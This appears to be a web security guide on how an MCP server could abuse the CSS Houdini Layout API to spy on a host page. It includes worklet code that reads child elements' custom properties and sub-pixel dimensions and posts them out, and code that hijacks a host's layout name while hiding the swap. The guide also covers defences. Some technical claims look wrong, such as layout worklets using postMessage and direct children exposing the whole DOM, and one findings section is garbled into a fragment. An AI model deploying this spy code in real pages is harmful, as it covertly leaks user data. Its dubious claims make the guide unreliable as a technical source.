Security Guide
MCP server CSS Houdini Layout API security — registerLayout() child style exfiltration, intrinsicSizes() sub-pixel dimension oracle, pre-ResizeObserver worklet measurement, layout worklet name collision hijacking
The CSS Houdini Layout API (Chrome 94+, currently behind --enable-experimental-web-platform-features) lets JavaScript code running in a layout worklet define custom CSS layout algorithms via registerLayout('name', LayoutClass). Any element with display: layout(name) delegates its layout computation to the worklet, which receives LayoutChild objects for every direct child element — including their computed style data. The worklet's layout() and intrinsicSizes() callbacks run at animation-frame frequency for every layout pass. An MCP server that registers a custom layout worklet gains a privileged, synchronous read of all child element styles and dimensions within any targeted container — bypassing the main-thread access control model entirely.
How the Houdini Layout API works
Custom layouts are registered in a worklet scope (a dedicated JavaScript execution context, separate from the main thread) using registerLayout(). The registered class implements two methods: intrinsicSizes(children, edges, styleMap) — called to determine the container's intrinsic size — and layout(children, edges, constraints, styleMap) — called to position all children. Both methods receive the full set of LayoutChild objects, each of which exposes the child's computed style map and can be asked to perform an intrinsic size computation. This design is intentional — the layout algorithm needs child style data to compute positions. The security problem is that an MCP server can register a layout that uses this access to exfiltrate data rather than to lay out anything.
Attack 1: registerLayout() gives JS access to every child element's computed styles
A custom layout worklet receives the computed styles of every direct child of the container element using that layout. This includes CSS custom properties, which are commonly used to pass application state data (user tier, feature flags, unread count) through the CSS layer. An MCP server that gets any container in the host page to use its custom layout — whether by injecting CSS or by having the host use the MCP server's CSS stylesheet — gains bulk access to all child element computed styles.
// Layout worklet file: mcp-spy.js (registered in a layout worklet)
registerLayout('spy-layout', class {
static get inputProperties() {
// Request access to CSS custom properties — these may carry application data
return [
'--user-tier',
'--unread-count',
'--feature-flags',
'--session-token-hash',
'*' // some implementations allow wildcard to receive ALL custom properties
];
}
async intrinsicSizes(children, edges, styleMap) {
// styleMap is the container's own computed styles
// Extract custom property values — may contain app state
const userTier = styleMap.get('--user-tier')?.toString();
const flags = styleMap.get('--feature-flags')?.toString();
// children is an array of LayoutChild — iterate for child styles
for (const child of children) {
const childStyle = child.styleMap;
// Read all registered inputProperties for each child
const childTier = childStyle.get('--user-tier')?.toString();
// Exfiltrate via a cross-worklet postMessage or shared buffer
// (Layout worklets can postMessage to the main thread)
}
return { minContentSize: 0, maxContentSize: 0 };
}
async layout(children, edges, constraints, styleMap) {
const childFragments = await Promise.all(
children.map(child => child.layoutNextFragment({ availableInlineSize: 0 }))
);
// Each childFragment has inlineSize and blockSize — sub-pixel dimensions
// of every child, measured at layout time, exfiltrated here
return { childFragments, autoBlockSize: 0 };
}
});
Bulk exfiltration scope: A single custom layout registration captures all children of any container element using that layout. If the host application has a global container (e.g., #app) using the hijacked layout, the worklet receives computed styles for every element in the DOM tree — the same data as calling getComputedStyle() on every element, but from a worklet context that runs before main thread JavaScript.
Attack 2: intrinsicSizes() callback as sub-pixel dimension oracle at rAF frequency
The intrinsicSizes() callback fires on every layout pass that needs to compute the container's intrinsic size — which happens on every resize, every DOM mutation within the container, and every time the container's CSS properties change. Each invocation provides sub-pixel-precision dimension data for the container and all its children via child.layoutNextFragment(). This is a higher-precision, higher-frequency dimension oracle than ResizeObserver, which reports in CSS pixels and fires after the layout is complete.
// intrinsicSizes() as a dimension oracle — fires at layout time, not after
registerLayout('dimension-oracle', class {
async intrinsicSizes(children, edges, styleMap) {
// Fire on every layout pass — including micro-resizes invisible to ResizeObserver
const dimensions = [];
for (const child of children) {
// layoutNextFragment forces a sub-layout of the child to determine its size
// Returns inlineSize and blockSize with floating-point precision
const fragment = await child.layoutNextFragment({
availableInlineSize: Infinity, // unconstrained — returns natural size
availableBlockSize: Infinity
});
dimensions.push({
inline: fragment.inlineSize, // width in CSS pixels (float)
block: fragment.blockSize, // height in CSS pixels (float)
});
}
// Dimensions are available BEFORE the layout is committed to the rendering pipeline
// Before ResizeObserver fires, before the main thread sees the new dimensions
// Encode and exfiltrate via shared ArrayBuffer or postMessage to main thread
postMessage({ type: 'dimensions', data: dimensions });
return { minContentSize: 0, maxContentSize: 0 };
}
async layout(children, edges, constraints, styleMap) {
// Fall through to default block layout
const frags = await Promise.all(children.map(c => c.layoutNextFragment(constraints)));
return { childFragments: frags };
}
});
Attack 3: Layout worklet measures children before main thread ResizeObserver callbacks
In the browser rendering pipeline, the layout worklet runs during the layout phase, before the rendering output is committed. ResizeObserver callbacks fire after layout is complete, on the next script execution opportunity. This means a layout worklet observes element dimensions at a point in time that is earlier than any main-thread code can see them. In a race-condition context, the worklet can read a dimension state that the host application's ResizeObserver has not yet processed — a pre-observation window.
The practical attack: in a multi-tenant layout where a host component updates its dimensions during an animation or data load, the MCP layout worklet reads the intermediate dimensions in the pre-commit window. The host's security-relevant resize handler (that validates the container size before displaying sensitive content) has not yet fired — the worklet sees the layout state before the guard runs.
Attack 4: Layout worklet name collision hijacks host's own layout calls
Layout worklet names are strings registered per-document. registerLayout('masonry', MasonryClass) registers the name "masonry" in the current worklet. If the host application also calls registerLayout('masonry', HostMasonryClass) — a common pattern when multiple libraries implement the same algorithm — the second registration silently replaces the first in most current implementations. An MCP server that loads its layout worklet before the host's own worklet registration intercepts all containers using the host's expected layout name.
// Attack: MCP server registers 'masonry' first (race condition)
// Host expects its own masonry implementation to be registered
// MCP server's worklet runs before the host's worklet loads
// In index.html head (early loading):
// <script>CSS.layoutWorklet.addModule('/mcp-server/early-init.js');</script>
// early-init.js (layout worklet):
registerLayout('masonry', class {
// Intercepts all <div style="display: layout(masonry)"> containers
// in the host page — the host's masonry implementation never runs
async layout(children, edges, constraints, styleMap) {
// Read all children's styles and dimensions
const spyData = await Promise.all(children.map(async (child) => {
const frag = await child.layoutNextFragment(constraints);
return { size: [frag.inlineSize, frag.blockSize] };
}));
postMessage({ hijacked: 'masonry', children: spyData });
// Pass through to approximately-correct layout so the host doesn't notice
let blockOffset = 0;
const childFragments = children.map(child => {
// Simplified single-column fallback — close enough to masonry
return child.layoutNextFragment({ ...constraints, blockOffset });
});
return { childFragments: await Promise.all(childFragments) };
}
async intrinsicSizes(children) { return { minContentSize: 0, maxContentSize: Infinity }; }
});
Silent interception: The host application has no notification that its layout worklet registration was replaced. The page continues to render (with approximately correct layout), and no JavaScript exception is thrown. The interception is invisible without inspecting DevTools → Sources → Worklets.
| Attack | Worklet callback | What it reads | Requires |
|---|---|---|---|
| Child style exfiltration | layout(), intrinsicSizes() | All child computed styles including CSS custom properties | Container uses attacker's layout name |
| Sub-pixel dimension oracle | intrinsicSizes() + layoutNextFragment() | Float-precision child dimensions at layout frequency | Container uses attacker's layout |
| Pre-ResizeObserver measurement | layout() | Dimensions before main thread resize handlers fire | Container uses attacker's layout |
| Name collision hijacking | Any — all layout calls routed to attacker | All child styles/dimensions of any container using that name | Load worklet before host's registerLayout() |
SkillAudit findings for the CSS Houdini Layout API
getComputedStyle() on every child, running at layout frequency.Defences
Treat CSS.layoutWorklet.addModule() as a privileged API: Any code that calls CSS.layoutWorklet.addModule() gains layout-level access to child elements. CSP's worker-src directive applies to layout worklets — restricting it to 'self' prevents MCP servers from loading worklet modules from external origins. However, an MCP server that is already running in the page context can register a worklet via a Blob: URL, bypassing worker-src restrictions if 'blob:' is not explicitly blocked.
Do not store sensitive data in CSS custom properties on widely-shared containers: If an ancestor element uses a custom layout and its custom properties include user-tier, feature-flag, or session data, those values are readable in the layout worklet. Store sensitive configuration in JavaScript variables, not CSS custom properties on container elements.
Register your layout worklet synchronously and as early as possible: Layout worklet name collision requires the attacker to load before the host. Inline layout worklet registration (via a Blob: URL constructed at parse time) in a <script> in <head> before any external scripts load is the most effective way to claim your layout name before any MCP server code can register it.
Monitor CSS.layoutWorklet.addModule() calls via a Trusted Types policy: A Trusted Types policy that wraps CSS.layoutWorklet.addModule can log and veto MCP server worklet registrations. This is currently the only reliable programmatic way to detect layout worklet injection at runtime.
Related: CSS Houdini Paint API security · CSS Typed OM security · CSS container queries security